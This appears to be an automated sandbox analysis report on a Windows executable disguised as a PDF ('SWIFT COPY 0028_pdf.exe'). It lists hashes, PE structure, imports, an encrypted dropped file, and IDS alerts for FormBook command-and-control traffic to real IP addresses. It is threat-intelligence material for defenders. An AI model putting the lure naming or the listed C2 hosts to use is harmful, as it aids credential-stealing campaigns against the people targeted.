Preview:	...9FQO8<6G2.OY.OTZ6YLYv4D0QH19EQO886G24WOYZOTZ6YLY64D0QH19.QO86).<4.F.{.U..x.1_Gd@#'VK$<o[YX)]@w-<z=!4.0"yr{..<'U\k\B2.6G24WOY#N]..9+..T#.l(V._....V ....f/3.,...T#..!RQx1(.86G24WOY..TZzXMY..ifQH19EQO8.6E3?VDYZ.PZ6YLY64D0.[19EAO88FC24W.YZ_TZ6[LY04D0QH19CQO886G24'KYZMTZ6YLY44..QH!9EAO886W24GOYZOTZ&YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G2.#*!.OTZ..HY6$D0Q.59EAO886G24WOYZOTZ.YL964D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ

C:\Users\user\AppData\Local\Temp\aut7C9.tmp

Download File

Process:	C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	290304
Entropy (8bit):	7.9949146605094334
Encrypted:	true
SSDEEP:	6144:ZA7Db8gAPqzuZKz+2Ezm07IQoG5dBpDd0y8RhaD+g:xPqzQK/Ezm07Iy5dzDuyAhpg
MD5:	5A5958BCA86E6545C97B0BF8A3846103
SHA1:	20E4B02D639609C60F5C3E62C149FD46C51D2856
SHA-256:	A14D0B58AE2CC9D7C8094A5FBE111D9B99299A591FCEBBBC4C63EDAA01B2080C
SHA-512:	8FEB32EE7EA5E5C56C8E11BD4B03AAFF848A2FA3738F81B8FB617FCAD0659127802B04EFB8AC924540039543CAD9B4A8A73441BB66233D9B4A60E34E83050838
Malicious:	false
Reputation:	low
Preview:	...9FQO8<6G2.OY.OTZ6YLYv4D0QH19EQO886G24WOYZOTZ6YLY64D0QH19.QO86).<4.F.{.U..x.1_Gd@#'VK$<o[YX)]@w-<z=!4.0"yr{..<'U\k\B2.6G24WOY#N]..9+..T#.l(V._....V ....f/3.,...T#..!RQx1(.86G24WOY..TZzXMY..ifQH19EQO8.6E3?VDYZ.PZ6YLY64D0.[19EAO88FC24W.YZ_TZ6[LY04D0QH19CQO886G24'KYZMTZ6YLY44..QH!9EAO886W24GOYZOTZ&YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G2.#*!.OTZ..HY6$D0Q.59EAO886G24WOYZOTZ.YL964D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ6YLY64D0QH19EQO886G24WOYZOTZ

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.150498811768912
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SWIFT COPY 0028_pdf.exe
File size:	1'217'536 bytes
MD5:	aa99009ff8c996ccefd78eb8a4ce1d7e
SHA1:	4061428787fa914d12ba52bc80af6c1725a2482d
SHA256:	4c16a10a2942e6a9383fc241bf4232a087333c383c5a269381300e9036c01178
SHA512:	cf966787c31425719d44e11b9d14c62174ed3b47f2022115038280cae23eb3d0e0b5403021cecfc474aff7a22172acd5852ae21f08487a6bd4e95e6c57dd695d
SSDEEP:	24576:ktb20pkaCqT5TBWgNQ7aZVYUI1o9J0+lKipmS6A:NVg5tQ7aZVE1o4CKW5
TLSH:	3D45D01363DEC365C3B25273BA657701BEBB782506A1F96B2FD4093DF820122525EA73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673D4752 [Wed Nov 20 02:20:02 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007FBD294E339Fh
jmp 00007FBD294D63B4h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FBD294D653Ah
cmp edi, eax
jc 00007FBD294D689Eh
bt dword ptr [004C0158h], 01h
jnc 00007FBD294D6539h
rep movsb
jmp 00007FBD294D684Ch
cmp ecx, 00000080h
jc 00007FBD294D6704h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FBD294D6540h
bt dword ptr [004BA370h], 01h
jc 00007FBD294D6A10h
bt dword ptr [004C0158h], 00000000h
jnc 00007FBD294D66DDh
test edi, 00000003h
jne 00007FBD294D66EEh
test esi, 00000003h
jne 00007FBD294D66CDh
bt edi, 02h
jnc 00007FBD294D653Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FBD294D6543h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FBD294D6595h
bt esi, 03h
jnc 00007FBD294D65E8h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x60358	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x125000	0x6c4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	f437a6545e938612764dbb0a314376fc	False	0.5699499019058296	data	6.680413749210956	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x60358	0x60400	c936909db4f992a147b477f614da3d13	False	0.931929788961039	data	7.903039445408422	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x125000	0xa474	0xa600	0bc98f8631ef0bde830a7f83bb06ff08	False	0.5017884036144579	data	5.245426654116355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xca038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xca4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xca4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcaa84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc7b8	0x5765f	data			1.0003240377336353
RT_GROUP_ICON	0x123e18	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x123e90	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x123ea4	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x123eb8	0x14	data	English	Great Britain	1.25
RT_VERSION	0x123ecc	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x123fa8	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T08:31:49.721951+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49872	188.114.96.3	80	TCP
2024-11-20T08:32:05.410049+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49966	76.223.74.74	80	TCP
2024-11-20T08:32:05.410049+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.6	49966	76.223.74.74	80	TCP
2024-11-20T08:32:07.970724+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49986	76.223.74.74	80	TCP
2024-11-20T08:32:10.547590+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49987	76.223.74.74	80	TCP
2024-11-20T08:32:13.073358+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49989	76.223.74.74	80	TCP
2024-11-20T08:32:19.344001+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49990	163.44.185.183	80	TCP
2024-11-20T08:32:21.920061+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49991	163.44.185.183	80	TCP
2024-11-20T08:32:24.442541+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49992	163.44.185.183	80	TCP
2024-11-20T08:32:26.991329+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49994	163.44.185.183	80	TCP
2024-11-20T08:32:32.755875+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49995	172.67.162.12	80	TCP
2024-11-20T08:32:35.294691+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49996	172.67.162.12	80	TCP
2024-11-20T08:32:37.887957+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49997	172.67.162.12	80	TCP
2024-11-20T08:32:40.445647+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49998	172.67.162.12	80	TCP
2024-11-20T08:32:47.094329+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49999	85.159.66.93	80	TCP
2024-11-20T08:32:49.639800+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50000	85.159.66.93	80	TCP
2024-11-20T08:32:52.186643+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50002	85.159.66.93	80	TCP
2024-11-20T08:32:53.922706+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50003	85.159.66.93	80	TCP
2024-11-20T08:32:59.965616+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50004	103.21.221.4	80	TCP
2024-11-20T08:33:02.486694+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50005	103.21.221.4	80	TCP
2024-11-20T08:33:05.036604+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50006	103.21.221.4	80	TCP
2024-11-20T08:33:07.603228+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50007	103.21.221.4	80	TCP
2024-11-20T08:33:13.289060+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50008	188.114.96.3	80	TCP
2024-11-20T08:33:15.886844+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50009	188.114.96.3	80	TCP
2024-11-20T08:33:18.423233+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50010	188.114.96.3	80	TCP
2024-11-20T08:33:20.999361+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50011	188.114.96.3	80	TCP
2024-11-20T08:33:26.642780+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50014	66.29.137.10	80	TCP
2024-11-20T08:33:29.217437+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50015	66.29.137.10	80	TCP
2024-11-20T08:33:31.752384+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50016	66.29.137.10	80	TCP
2024-11-20T08:33:34.314684+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50017	66.29.137.10	80	TCP
2024-11-20T08:33:39.962605+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50018	203.161.46.205	80	TCP
2024-11-20T08:33:42.566078+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50019	203.161.46.205	80	TCP
2024-11-20T08:33:45.062014+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50020	203.161.46.205	80	TCP
2024-11-20T08:33:47.638147+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50021	203.161.46.205	80	TCP
2024-11-20T08:33:54.735361+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50022	43.155.76.124	80	TCP
2024-11-20T08:33:57.273456+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50023	43.155.76.124	80	TCP
2024-11-20T08:33:59.818741+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50025	43.155.76.124	80	TCP
2024-11-20T08:34:02.362521+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50026	43.155.76.124	80	TCP
2024-11-20T08:34:08.318850+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50027	103.224.182.242	80	TCP
2024-11-20T08:34:10.867578+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50028	103.224.182.242	80	TCP
2024-11-20T08:34:13.497498+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50029	103.224.182.242	80	TCP
2024-11-20T08:34:16.117357+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50030	103.224.182.242	80	TCP
2024-11-20T08:34:21.628824+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50031	13.248.169.48	80	TCP
